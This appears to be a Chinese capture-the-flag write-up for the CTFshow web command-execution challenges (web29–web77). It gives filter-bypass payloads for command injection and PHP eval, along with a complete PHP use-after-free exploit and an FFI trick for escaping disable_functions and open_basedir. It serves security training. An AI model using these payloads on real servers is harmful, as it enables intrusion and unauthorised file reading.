CTFshow—web入门——命令执行

命令执行

反引号``

反引号``即命令替换
是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出

单引号,双引号

适用条件:过滤了字符串
放在shell命令中,绕过正则匹配且不影响原意

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

读文件绕过(cat绕过)

适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

Linux通配符绕过

适用条件:过滤了flag,没有过滤 ? *
在linux系统中 有一些通配符

匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

include 和伪协议的配合

因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响

web29

题目
在这里插入图片描述题解
查看目录
在这里插入图片描述由于flag被过滤,可以使用通配符进行绕过,查看flag.php
在这里插入图片描述复制flag.php文件到1.txt并访问
在这里插入图片描述

web30

题目
在这里插入图片描述题解
过滤了flag、system还有php。
在这里插入图片描述

运用反引号查看目录 并查看flag.php(flag php被过滤 运用通配符)
在这里插入图片描述

web31

题目
在这里插入图片描述题解
又加上了点、单引号和空格被过滤。我们可以通过shell中eval命令进行变量嵌套替换
payload:

c=eval($_GET[1]);&1=echo `nl flag.php `;

在这里插入图片描述

web32

题目
在这里插入图片描述
题解
过滤了括号以及分号
%0a换行符
include函数不用括号 分号可以用?>代替
在这里插入图片描述
payload:

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

web33

题目
在这里插入图片描述
题解
本题多过滤了一个双引号,这题用require函数
payload:

c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

web34

题目
在这里插入图片描述
题解
过滤又增加了:
依然可以用之前的方法
payload:

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

web35

题目
在这里插入图片描述
题解
又多过滤了<,依然可以用之前的方法
payload:

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

web36

题目
在这里插入图片描述
题解
又增加了数字.emmmm…依然可以用之前的方法。只不过换成字母
payload:

c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

web37

题目
在这里插入图片描述
题解
include文件包含,同时又过滤了flag,利用data伪协议
payload:

c=data://text/plain,<?php system('tac fla?.php');?>

在这里插入图片描述

web38

题目
在这里插入图片描述
题解
过滤了PHP,
在php中,每当它读取php文档时,它都会查找:

<? php ?>

它只处理上述标签之间的代码,并在它们周围留下其他代码。
例:

<?php
echo "Hello PHP !";
?>

输出:
Hello PHP !
但,其实在使用echo() 进行输出时,我们可以使用快捷方法。上面示例可以使用<?=标签来输出,例:

<?= "Hello PHP !"?>

说明:“<?=”是PHP的一个短的开放式标签,是echo()的快捷用法。
可以用短标签代替php执行
在这里插入图片描述
payload:

1  c=data://text/plain,<?=system('tac fl*');?>
2  c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

题目
在这里插入图片描述
题解
payload:

c=data://text/plain,<?php echo `tac fl*`?>
c=data://text/plain,<?= system('tac fl*');?>

web40

题目
在这里插入图片描述
题解
过滤了好多符号…
题目提示payload:

c=show_source(next(array_reverse(scandir(pos(localeconv())))));
1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
2. pos():返回数组中当前元素的值
3. scandir():获取目录下的文件
4. array_reverse():将数组逆序排列
5. next():函数将内部指针指向下一元素,并输出
6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。
7. print_r(scandir(‘.’)); 查看当前目录下的所有文件名
8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

无参数文件读取

1. print_r() 函数用于打印变量,以更容易理解的形式展示
2. get_defined_vars() 函数返回由所有已定义变量所组成的数组。

查看所有变量
在这里插入图片描述
post传入
在这里插入图片描述
用next函数可以拿到数组
在这里插入图片描述
在这里插入图片描述
打印数组并执行
在这里插入图片描述

web41

题目
在这里插入图片描述
题解
大佬WP:web41
在这里插入图片描述

web42

题目
在这里插入图片描述
题解

/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔
输出黑洞

;	//分号
|	//只执行后面那条命令
||	//只执行前面那条命令
&	//两条命令都会执行
&&	//两条命令都会执行

payload:

c=tac flag.php;

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

?c=tac flag.php;ls
;前面的被执行了返回结果,后面的执行了被放入/dev/null中

web43

题目
在这里插入图片描述
题解
在这基础上又过滤了; cat
payload:

c=cp flag.php 1.txt||
c=nl flag.php||
c=tac flag.php||

web44

题目
在这里插入图片描述

题解
payload:

c=tac fl*.php||
c=cp fl*.php 1.txt||

web45

题目
在这里插入图片描述

题解
%09是Tab的url编码
payload:

c=tac%09fl*.php||

web46

题目
在这里插入图片描述
题解
%09不属于数字
payload:

c=tac%09fla?.php||
nl<fla''g.php||

web47

题目
在这里插入图片描述

题解
上一题的解还可以用
payload:

c=tac%09fla?.php||

web48

题目
在这里插入图片描述
题解
payload:

c=tac%09fla?.php||

web49

题目
在这里插入图片描述
题解
payload:

c=tac%09fla?.php||
c=nl<fla''g.php||

web50

题目
在这里插入图片描述
题解
payload:

c=nl<fla''g.php||

web51

题目
在这里插入图片描述
题解
payload:

c=nl<fla''g.php||

web52

题目
在这里插入图片描述
题解
对flag.php进行重命名,

c=mv${
    
    IFS}fla?.php${
    
    IFS}a.txt

得到

$flag="flag_here";

明显是错误的,查看一下根目录,发现有flag

c=ls${
    
    IFS}/||ls

在这里插入图片描述
查看一下目录

c=pwd||ls

在这里插入图片描述
把根目录下的flag复制过去

c=cp${
    
    IFS}/fla?${
    
    IFS}/var/www/html/b.txt||ls

访问b.txt得flag
payload:

c=nl$IFS/fla''g||

web53

题目

<?php
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    
    
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
    
    
        echo 'no';
    }
}else{
    
    
    highlight_file(__FILE__);
}

题解
$又被放出来了,可以用之前的老方法
payload:

c=ta''c${
    
    IFS}fla?.php

web54

题目

<?php
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
    
    
        system($c);
    }
}else{
    
    
    highlight_file(__FILE__);
}

题解
查看目录 对flag.php重命名,

c=mv${
    
    IFS}f???.php${
    
    IFS}a.txt

访问得flag。

web55

题目

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
    
    
        system($c);
    }
}else{
    
    
    highlight_file(__FILE__);
}

题解
emmm…过滤了字母

解法一

bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

payload:

c=/???/????64%20????.???

解法二

/usr/bin目录

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载
payload:

先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件

解法三

无字母数字webshell之提高篇
shell下可以利用.来执行任意脚本
可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字
写一个post上传表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://99da1d95-7eb6-468a-b044-cf1b1b5b393d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <!--目标网址-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

构造POC
注:shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
在这里插入图片描述

?c=. /???/????????[@-[]

访问flag.php
在这里插入图片描述

web56

题目

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
    
    
        system($c);
    }
}else{
    
    
    highlight_file(__FILE__);
}

题解
多过滤了几个符号,方法同web55
在这里插入图片描述

web57

题目

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
    
    
        system("cat ".$c.".php");
    }
}else{
    
    
    highlight_file(__FILE__);
}

题解
flag在36.php里
这题可通过数学运算$(())来构造36
在这里插入图片描述
0通过取反得~0 ~0通过取反-1,我们可以让36个-1相加然后取反再输出,
在这里插入图片描述
这里-36取反得35,那让-37取反得36
在这里插入图片描述
payload:

c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

web58

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解
禁用了一些函数
用scandir查看目录文件

c=print_r(scandir(current(localeconv())));

在这里插入图片描述
payload:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=echo file_get_contents('falg.php');
c=show_source('flag.php');
c=highlight_file("flag.php");
c=print_r(file('flag.php'));

web59

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解
禁用了一些函数
看一下目录

c=print_r(scandir(current(localeconv())));

在这里插入图片描述
payload:

c=show_source(next(array_reverse((scandir(current(localeconv()))))));
c=show_source('flag.php');

也可以用include
在这里插入图片描述

web60

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解
上面的payload还可以用,还是禁用了一些函数
payload:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');

在这里插入图片描述
在这里插入图片描述
发现的禁用函数

web61

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解
上题解法还是可以用
payload:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');

web62

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解
依旧可以用…
payload:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');

web63

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解
上题payload依旧可以用…
payload:

c=include('flag.php');echo $flag;
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');

web64

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解

var_dump() 函数用于输出变量的相关信息。
get_defined_vars() 函数返回由所有已定义变量所组成的数组。

var_dump(get_defined_vars());查看一下所有的注册变量
我们把flag.php包含进去,进行变量注册
payload:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');
c=include('flag.php');var_dump(get_defined_vars());

web65

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解
依旧可以…
payload:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');
c=include('flag.php');var_dump(get_defined_vars());

web66

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解
上面payload不可以用了。。。而且show_source被禁用了。。。
在这里插入图片描述

c=print_r(scandir('/'));

在根目录里
在这里插入图片描述
payload:

c=highlight_file('/flag.txt');

web67

题目

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
}

题解
payload:

c=highlight_file('/flag.txt');

web68-70

题目
在这里插入图片描述
题解
查看根目录,flag还是在根目录里

c=var_dump(scandir('/'));

highlight_file()也被禁用了,直接包含include尝试一下
payload:

c=include('/flag.txt');

web71

题目
题目下面有个附件,源码如下

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    
    
    highlight_file(__FILE__);
}

?>

题解
执行var_dump(’/’);出现

???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.???(??) : ????()'? ???? ?? ???? ? 你要上天吗?

$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
在这里插入图片描述
先将缓冲区数据获取给$s,再清除,然后将数字和小写字母全变为 ?
我们可以通过exit();提前退出程序,绕过
payload:

c=include('/flag.txt');exit();

web72

题目
源码和上题一样

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    
    
    highlight_file(__FILE__);
}

?>

题解
上题payload显示找不到文件,我们查看一下根目录

c=var_dump(scandir('/'));exit();

在这里插入图片描述
这里目录被open_basedir限制了,ini_set()也不让用,我们可以尝试通过glob伪协议绕过绕过open_basedir限制
在这里插入图片描述
emmm…尝试了一下 ,在下面发现了一个flag0.txt文件,直接包含

c=$a = "glob:///*.txt";
        if ( $b = opendir($a) ) {
    
    
                while ( ($file = readdir($b)) !== false ) {
    
    
                        echo "filename:".$file."\n";
                }
                closedir($b);
        }
exit();

在这里插入图片描述
在这里插入图片描述
emmm…提示不在允许的路径内,在open_basedir()之外…
群主大大提供了uaf脚本…通用绕过安全目录.

<?php

function ctfshow($cmd) {
    
    
    global $abc, $helper, $backtrace;

    class Vuln {
    
    
        public $a;
        public function __destruct() {
    
     
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
    
    
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
    
    
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
    
    
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
    
    
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
    
    
        $out = "";
        for ($i=0; $i < $m; $i++) {
    
    
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
    
    
        $i = 0;
        for($i = 0; $i < $n; $i++) {
    
    
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
    
    
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) {
    
     $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
    
    
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
    
    
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {
    
     

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
    
     
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
    
    
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
    
    
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    
    
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    
    
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
    
    
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
    
    
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
    
    
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
    
    
        $addr = $basic_funcs;
        do {
    
    
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
    
    
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
    
    

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
    
    
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) {
    
     };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
    
    
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
    
    
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
    
    
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    
    
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
    
    
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
    
    
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();//需要URL编码
?>

web73

题目

题解
var_dump()被禁用,使用遍历 获得目录

c=$a=scandir("/");foreach($a as $key=>$value){
    
    echo $key."=>".$value;}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){
    
    echo($f->__toString().' ');}exit();

在这里插入图片描述
直接包含,

c=include('/flagc.txt');exit();

web74

题目
在这里插入图片描述
题解
扫描目录
scandir()被禁用,用DirectoryIterator类

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){
    
    echo($f->__toString().' ');}exit();
c=$a=new DirectoryIterator("/");foreach($a as $key=>$value){
    
    echo $key."=>".$value;}exit();

直接包含c=include('/flagx.txt');exit();

web75

题解
扫描目录c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();flag36.txt
通过数据库读文件(不理解.)

c=
 
try {
    
    
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');
 
    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
    
    
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    
    
    echo $e->getMessage();
    exit(0);
}
exit(0);

web76

题解
扫描目录c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();

c=
 
try {
    
    
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');
 
    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
    
    
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    
    
    echo $e->getMessage();
    exit(0);
}
exit(0);

web77

题解
扫描目录c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString().' ');}exit();发现有个readflag,我们必定是要调用那个的。利用FFI来绕过disable_functions

c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();  

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
    
    
echo $f."    " ;
}

$ffi = FFI::cdef(
    "int system(const char *command);");

$ffi->system("/readflag > 1.txt");

exit();

猜你喜欢

转载自blog.csdn.net/h_adam/article/details/120578810